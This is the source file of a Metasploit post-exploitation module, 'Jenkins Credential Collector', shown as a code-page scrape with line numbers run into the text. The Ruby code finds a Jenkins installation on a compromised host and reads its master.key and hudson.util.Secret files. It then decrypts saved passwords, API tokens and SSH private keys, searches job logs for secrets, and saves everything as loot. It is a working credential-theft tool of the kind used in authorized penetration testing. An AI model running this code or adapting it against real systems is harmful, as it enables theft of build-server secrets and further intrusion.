Path: blob/master/modules/post/multi/gather/jenkins_gather.rb
19612 views
require 'nokogiri'1require 'base64'2require 'digest'3require 'openssl'4require 'sshkey'56class MetasploitModule < Msf::Post7include Msf::Post::File8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Jenkins Credential Collector',15'Description' => %q{16This module can be used to extract saved Jenkins credentials, user17tokens, SSH keys, and secrets. Interesting files will be stored in18loot along with combined csv output.19},20'License' => MSF_LICENSE,21'Author' => [ 'thesubtlety' ],22'Platform' => [ 'linux', 'win' ],23'SessionTypes' => %w[shell meterpreter],24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27stdapi_fs_search28]29}30},31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [],34'Reliability' => []35}36)37)38register_options(39[40OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),41OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),42OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])43]44)4546@nodes = []47@creds = []48@ssh_keys = []49@api_tokens = []50end5152def report_creds(user, pass)53return if user.blank? || pass.blank?5455credential_data = {56origin_type: :session,57post_reference_name: fullname,58private_data: pass,59private_type: :password,60session_id: session_db_id,61username: user,62workspace_id: myworkspace_id63}6465create_credential(credential_data)66end6768def parse_credentialsxml(file)69# Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client70# tested on versions 2.401.1, 2.346.371if exists?(file)72vprint_status('Parsing credentials.xml...')73f = read_file(file)74if datastore['STORE_LOOT']75loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)76vprint_status("File credentials.xml saved to #{loot_path}")77end78else79vprint_status('There is no credential.xml file present')80end8182xml_doc = Nokogiri::XML(f)83xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|84username = node.xpath('username').text85password = decrypt(node.xpath('password').text)86description = node.xpath('description').text87print_good("Credentials found - Username: #{username} Password: #{password}")88report_creds(username, password)89@creds << [username, password, description]90end9192xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|93cred_id = node.xpath('id').text94username = node.xpath('username').text95description = node.xpath('description').text96passphrase = node.xpath('passphrase').text97passphrase = decrypt(passphrase)98private_key = node.xpath('//privateKeySource//privateKey').text99private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)100print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")101102store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']103@ssh_keys << [cred_id, description, passphrase, username, private_key]104105begin106k = OpenSSL::PKey::RSA.new(private_key, passphrase)107key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)108credential_data = {109origin_type: :session,110session_id: session_db_id,111post_reference_name: refname,112private_type: :ssh_key,113private_data: key.key_object.to_s,114username: cred_id,115workspace_id: myworkspace_id116}117create_credential(credential_data)118rescue OpenSSL::OpenSSLError => e119print_error("Could not save SSH key to creds: #{e.message}")120end121end122end123124def parse_users(file)125f = read_file(file)126fname = file.tr('\\', '/').split('/')[-2]127vprint_status("Parsing user #{fname}...")128129username = ''130api_token = ''131xml_doc = Nokogiri::XML(f)132xml_doc.xpath('//user').each do |node|133username = node.xpath('fullName').text134end135136xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|137api_token = decrypt(node.xpath('apiToken').text)138end139140if api_token141print_good("API Token found - Username: #{username} Token: #{api_token}")142@api_tokens << [username, api_token]143report_creds(username, api_token)144store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']145end146end147148def parse_nodes(file)149f = read_file(file)150fname = file.tr('\\', '/').split('/')[-2]151vprint_status("Parsing node #{fname}...")152153node_name = ''154description = ''155host = ''156port = ''157cred_id = ''158xml_doc = Nokogiri::XML(f)159xml_doc.xpath('//slave').each do |node|160node_name = node.xpath('name').text161description = node.xpath('description').text162end163164xml_doc.xpath('//launcher').each do |node|165host = node.xpath('host').text166port = node.xpath('port').text167cred_id = node.xpath('credentialsId').text168end169170@nodes << [node_name, host, port, description, cred_id]171print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")172store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']173end174175def parse_jobs(file)176f = read_file(file)177fname = file.tr('\\', '/').split('/')[-4]178vprint_status("Parsing job #{fname}...")179180username = ''181pw = ''182job_name = file.split(%r{/jobs/(.*?)/builds/})[1]183xml_doc = Nokogiri::XML(f)184xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|185username = node.xpath('name').text186pw = decrypt(node.xpath('value').text)187end188189@creds << [username, pw, '']190print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?191store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']192end193194def pretty_print_gathered195creds_table = Rex::Text::Table.new(196'Header' => 'Creds',197'Indent' => 1,198'Columns' =>199[200'Username',201'Password',202'Description'203]204)205@creds.uniq.each { |e| creds_table << e }206print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?207store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']208209api_table = Rex::Text::Table.new(210'Header' => 'API Keys',211'Indent' => 1,212'Columns' =>213[214'Username',215'API Tokens'216]217)218@api_tokens.uniq.each { |e| api_table << e }219print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?220store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']221222node_table = Rex::Text::Table.new(223'Header' => 'Nodes',224'Indent' => 1,225'Columns' =>226[227'Node Name',228'Hostname',229'Port',230'Description',231'Cred Id'232]233)234@nodes.uniq.each { |e| node_table << e }235print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?236store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']237238@ssh_keys.uniq.each do |e|239print_good('SSH Key')240print_status(" ID: #{e[0]}")241print_status(" Description: #{e[1]}") if !e[1].blank?242print_status(" Passphrase: #{e[2]}") if !e[2].blank?243print_status(" Username: #{e[3]}") if !e[3].blank?244print_status("\n#{e[4]}")245end246ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }247store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?248end249250def grep_job_history(path, platform)251print_status('Searching through job history for interesting keywords...')252case platform253when 'windows'254results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")255when 'nix'256results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")257end258store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?259print_good("Job Log truffles:\n#{results}") if !results.empty?260end261262def find_configs(path, platform)263case platform264265when 'windows'266case session.type267when 'meterpreter'268configs = ''269c = session.fs.file.search(path, 'config.xml', true, -1) \270.concat(session.fs.file.search(path, 'build.xml', true, -1))271c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }272else273configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")274end275configs.split("\n").each do |f|276case f277when /\\users\\/278parse_users(f)279when /\\jobs\\/280parse_jobs(f)281when /\\nodes\\/282parse_nodes(f)283end284end285286when 'nix'287configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")288configs.split("\n").each do |f|289case f290when %r{/users/}291parse_users(f)292when %r{/jobs/}293parse_jobs(f)294when %r{/nodes/}295parse_nodes(f)296end297end298end299end300301def get_key_material(home, platform)302case platform303when 'windows'304master_key_path = "#{home}\\secrets\\master.key"305hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"306initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"307when 'nix'308master_key_path = "#{home}/secrets/master.key"309hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"310initial_admin_password_path = "#{home}/secrets/initialAdminPassword"311end312313# Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins314# tested on versions 2.401.1, 2.346.3, 2.103315if exists?(initial_admin_password_path)316initial_admin_password = read_file(initial_admin_password_path).strip317318if datastore['STORE_LOOT']319loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)320print_status("File initialAdminPassword saved to #{loot_path}")321else322print_status("File initialAdminPassword contents: #{initial_admin_password}")323end324else325print_error 'Cannot read initialAdminPassword...'326end327328if exists?(master_key_path)329@master_key = read_file(master_key_path)330331if datastore['STORE_LOOT']332loot_path = store_loot('master.key', 'text/plain', session, @master_key)333print_status("File master.key saved to #{loot_path}")334else335print_status("File master.key contents: #{@master_key}")336end337else338print_error 'Cannot read master.key...'339end340341# Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client342# tested on versions 2.401.1, 2.346.3343if exists?(hudson_secret_key_path)344@hudson_secret_key = read_file(hudson_secret_key_path)345346if datastore['STORE_LOOT']347loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)348print_status("File hudson.util.Secret saved to #{loot_path}")349end350else351print_error 'Cannot read hudson.util.Secret...'352end353end354355def find_home(platform)356if datastore['JENKINS_HOME']357if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')358return datastore['JENKINS_HOME']359end360361print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')362end363364print_status('Searching for Jenkins directory... This could take some time...')365case platform366when 'windows'367if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')368home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'369else370case session.type371when 'meterpreter'372home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']373else374home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip375end376end377when 'nix'378if exists?('/var/lib/jenkins/secret.key.not-so-secret')379home = '/var/lib/jenkins/'380else381home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip382end383end384fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)385print_status("Found Jenkins installation at #{home}")386home387end388389def gathernix390home = find_home('nix')391get_key_material(home, 'nix')392parse_credentialsxml(home + '/credentials.xml')393find_configs(home, 'nix')394grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']395pretty_print_gathered396end397398def gatherwin399home = find_home('windows')400get_key_material(home, 'windows')401parse_credentialsxml(home + '\\credentials.xml')402find_configs(home, 'windows')403grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']404pretty_print_gathered405end406407def run408case session.platform409when 'linux'410gathernix411else412gatherwin413end414end415416def decrypt_key(master_key, hudson_secret_key)417# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c418magic = '::::MAGIC::::'419hashed_master_key = Digest::SHA256.digest(master_key)[0..15]420intermediate = OpenSSL::Cipher.new('AES-128-ECB')421intermediate.decrypt422intermediate.key = hashed_master_key423424salted_final = intermediate.update(hudson_secret_key) + intermediate.final425raise 'no magic key in a' if !salted_final.include?(magic)426427salted_final[0..15]428end429430def decrypt_v2(encrypted)431master_key = @master_key432hudson_secret_key = @hudson_secret_key433key = decrypt_key(master_key, hudson_secret_key)434encrypted_text = Base64.decode64(encrypted).bytes435436iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)437data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)438if encrypted_text.length != (1 + 8 + iv_length + data_length)439print_error("Invalid encrypted string: #{encrypted}")440end441iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]442code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')443444cipher = OpenSSL::Cipher.new('AES-128-CBC')445cipher.decrypt446cipher.key = key447cipher.iv = iv448449text = cipher.update(code) + cipher.final450text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token451text452rescue StandardError => e453print_error(e.to_s)454return 'Could not decrypt string'455end456457def decrypt_legacy(encrypted)458# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c459460magic = '::::MAGIC::::'461master_key = @master_key462hudson_secret_key = @hudson_secret_key463encrypted = Base64.decode64(encrypted)464465key = decrypt_key(master_key, hudson_secret_key)466cipher = OpenSSL::Cipher.new('AES-128-ECB')467cipher.decrypt468cipher.key = key469470text = cipher.update(encrypted) + cipher.final471text = text[0..(text.length - magic.size - 1)]472text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token473text474rescue StandardError => e475print_error(e.to_s)476return 'Could not decrypt string'477end478479def decrypt(encrypted)480return if encrypted.empty?481482if encrypted[0] == '{' && encrypted[-1] == '}'483decrypt_v2(encrypted)484else485decrypt_legacy(encrypted)486end487end488end489490491